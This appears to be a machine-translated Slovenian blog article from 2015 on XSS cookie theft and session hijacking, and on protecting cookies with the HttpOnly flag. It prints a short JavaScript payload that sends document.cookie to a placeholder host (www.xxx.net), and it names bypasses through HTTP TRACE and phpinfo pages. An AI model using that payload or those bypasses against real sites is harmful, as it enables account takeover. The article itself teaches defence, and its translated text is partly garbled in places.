Z vzponom www storitev se je vse več aplikacij preselilo na B/S strukture, tako da je mogoče dostopati do različnih spletnih storitev z enim brskalnikom, vendar to vse bolj vodi tudi do vedno več težav z varnostjo spletnih strani. www storitev temelji na protokolu Http, Http je protokol brez stanja, zato je za prenos informacij med sejami neizogibno uporabljati piškotke ali seje in druge tehnologije za označevanje stanja obiskovalca, ne glede na to, ali gre za piškotek ali sejo, je običajno implementiran s piškotki (seja je dejansko označena z žetonom v piškotku brskalnika, Strežnik pridobi ta žeton, preveri legitimnost in poveže ustrezno stanje, shranjeno na strežniku, z brskalnikom), tako da se neizogibno varno osredotoči na piškotek; dokler je ta piškotek pridobljen, je mogoče pridobiti identiteto drugih, kar je čudovito za vsiljivce, še posebej, če pridobljeni piškotek pripada osebi z visokimi privilegiji, kot je skrbnik, škoda je še večja. Med različnimi varnostnimi izzivi na spletu je ranljivost XSS še posebej nevarna.
Pri aplikacijah, ko se pojavi ranljivost XSS, to pomeni, da lahko drugi izvajajo poljubne JS skripte v vašem brskalniku, in če je aplikacija odprtokodna ali so funkcije javne, lahko drugi uporabijo Ajax za uporabo teh funkcij, vendar je postopek pogosto zapleten, še posebej, če želite neposredno pridobiti identiteto nekoga drugega za priložnostno brskanje. Za neodprtokodne aplikacije, kot je spletno ozadje nekaterih velikih strani (pomembna lastnost web2.0 je veliko število interakcij, uporabniki pogosto potrebujejo interakcijo z administratorji v ozadju, kot so poročila o napakah ali dostava informacij itd.), čeprav so lahko ranljivosti pri skriptiranju med spletnimi stranmi zaradi obstoja interakcije, je zaradi pomanjkanja razumevanja ozadja nemogoče sestaviti popolno ajax kodo za uporabo, tudi če lahko uporabite js za pridobitev ozadja in njeno vrnitev v analizo, vendar je postopek tudi okoren in ni skrit. Trenutno je zelo učinkovito uporabiti ranljivost xss za pridobivanje piškotkov ali ugrabitve seje, natančneje analizirati avtentikacijo aplikacije, nato uporabiti določene tehnike in celo trajno pridobiti identiteto druge osebe, tudi če druga stran zapusti program.
Kako torej priti do ugrabitve piškotov ali seje? V objektu dokument v brskalniku se shranijo podatki o piškotku, piškotek pa je mogoče pridobiti z uporabo js; dokler prejmete ta piškotek, lahko imate identiteto nekoga drugega. Tipična XSS izjava o napadu je naslednja:
- xss exp:
- url=document.top.locatio去掉n.href;
- cookie=document.cookie;
- c=new Image();
- c.src=’<a target="_blank">http://www.xxx.net/c.php?c=</a>’+cookie+’&u=’+url;
Nekatere aplikacije lahko uporabijo tehnike vezave brskalnika za reševanje te težave, na primer vezanje piškotkov na uporabniški agent brskalnika, in piškotek štejejo za neveljavnega, ko je odkrit. Ta metoda se je izkazala za neučinkovito, saj ko vsiljivec ukrade piškotek, mora hkrati pridobiti uporabniški agent. Obstaja tudi še en strog sistem, ki veže piškotke na Remote-addr (dejansko je vezan na IP, vendar imajo nekateri programi težave z načinom pridobivanja IP, kar prav tako vodi do varčnosti), vendar to prinaša zelo slabo uporabniško izkušnjo, spreminjanje IP je pogosta stvar, na primer delo in dom sta 2 IP-ja, zato ta metoda pogosto ni sprejeta. Zato so napadi na osnovi piškotkov danes zelo priljubljeni in na nekaterih spletnih straneh 2.0 je enostavno pridobiti status administratorja aplikacije.
Kako ohranimo naše občutljive piškotke varne? S pomočjo zgornje analize se splošni piškotki pridobijo iz objektov dokumenta, le občutljive piškotke moramo narediti nevidne v dokumentu brskalnika. Na srečo brskalniki zdaj običajno sprejemajo parameter HttpOnly pri nastavljanju piškotkov, tako kot drugi parametri, kot je domena; ko je ta HttpOnly nastavljen, piškotka ne boste videli v objektu dokumenta brskalnika, brskalnik pa med brskanjem ne bo na noben način prizadet, saj bo piškotek poslan v glavi brskalnika (vključno z ajaxom). Aplikacije običajno ne upravljajo teh občutljivih piškotkov v js, uporabljamo HttpOnly za nekatere občutljive piškotke in ne nastavljamo nekaterih piškotkov, ki jih je treba uporabljati z js v aplikaciji, kar zagotavlja varnost informacij o piškotkih in aplikacijo. Za več informacij o HttpOnly glejte http://msdn2.microsoft.com/en-us/library/ms533046.aspx.
Glava za nastavitev piškotkov v brskalniku je naslednja:
- Set-Cookie: =[; =]
- [; expires=][; domain=]
- [; path=][; secure][; HttpOnly]
Če vzamemo php kot primer, je bila podpora za HttpOnly dodana funkciji Setcookie v php 5.2, na primer:
setcookie("abc","test",NULL,NULL,NULL,NULL,NULL,TRUE);
Piškotek abc lahko nastavite na HttpOnly, dokument pa temu piškotku ne bo viden. Ker je funkcija setcookie v bistvu glava, lahko glavo uporabite tudi za nastavitev HttpOnly. Nato uporabite document.cookie, da preverite, ali ta piškotek ni več na voljo. To metodo uporabljamo za zaščito Sessionid, na primer z nekaterimi avtentikacijskimi piškotki za avtentikacijo, tako da nam ni treba skrbeti za pridobitev identitete, kar je zelo pomembno za nekatere programe v ozadju in spletno pošto za izboljšanje varnosti. Ko ponovno uporabimo zgornjo metodo napada, vidimo, da ne moremo več pridobiti občutljivih piškotkov, ki jih nastavimo kot HttpOnly.
Vendar pa je mogoče tudi videti, da HttpOnly ni vsemogočen; najprej ne more rešiti problema xss, še vedno ne more upreti napadom nekaterih potrpežljivih hekerjev, prav tako ne more preprečiti vsiljivcem izvajanja ajax prijav, in celo nekateri xss-osnovani proxyji so se pojavili, vendar je mogoče zvišati prag napadov, vsaj xss napadi niso izvedeni s strani vsakega script kida, druge metode napadov pa so posledica okoljskih in tehničnih omejitev. Ni tako pogosto kot kraja piškotov.
HttpOnly lahko tudi izkoristi nekatere ranljivosti ali konfigurira Bypass, ključni problem pa je, da če lahko prejmete glavo piškotka, ki jo pošlje brskalnik. Na primer, prejšnji napad Http Trace lahko vrne piškotek v glavi, ta napad pa lahko izvedete z uporabo Ajaxa ali Flasha, ki je bil prav tako popravljen v Ajaxu in Flashu. Še en znan primer možnega obhoda pri konfiguraciji ali aplikaciji je phpinfo; kot veste, phpinfo prikaže http glavo, ki jo pošlje brskalnik, vključno z informacijami o avtentikaciji, ki jih varujemo, in ta stran pogosto obstaja na različnih straneh; če uporabite ajax za pridobitev phpinfo strani, odstranite del, ki ustreza glavi glave, da dobite piškotek. Nepravilnosti v nekaterih aplikacijah lahko prav tako povzročijo uhajanje glave, ki ga je mogoče napasti prav tako kot stran, zaščiteno z osnovno preverjanjem.
HttpOnly je bolje podprt v IE 6 in novejših, široko se uporablja v aplikacijah, kot je Hotmail, in je dosegel razmeroma dobre varnostne rezultate.
|
Objavljeno na 3. 06. 2015 20:57:48
|
|
|
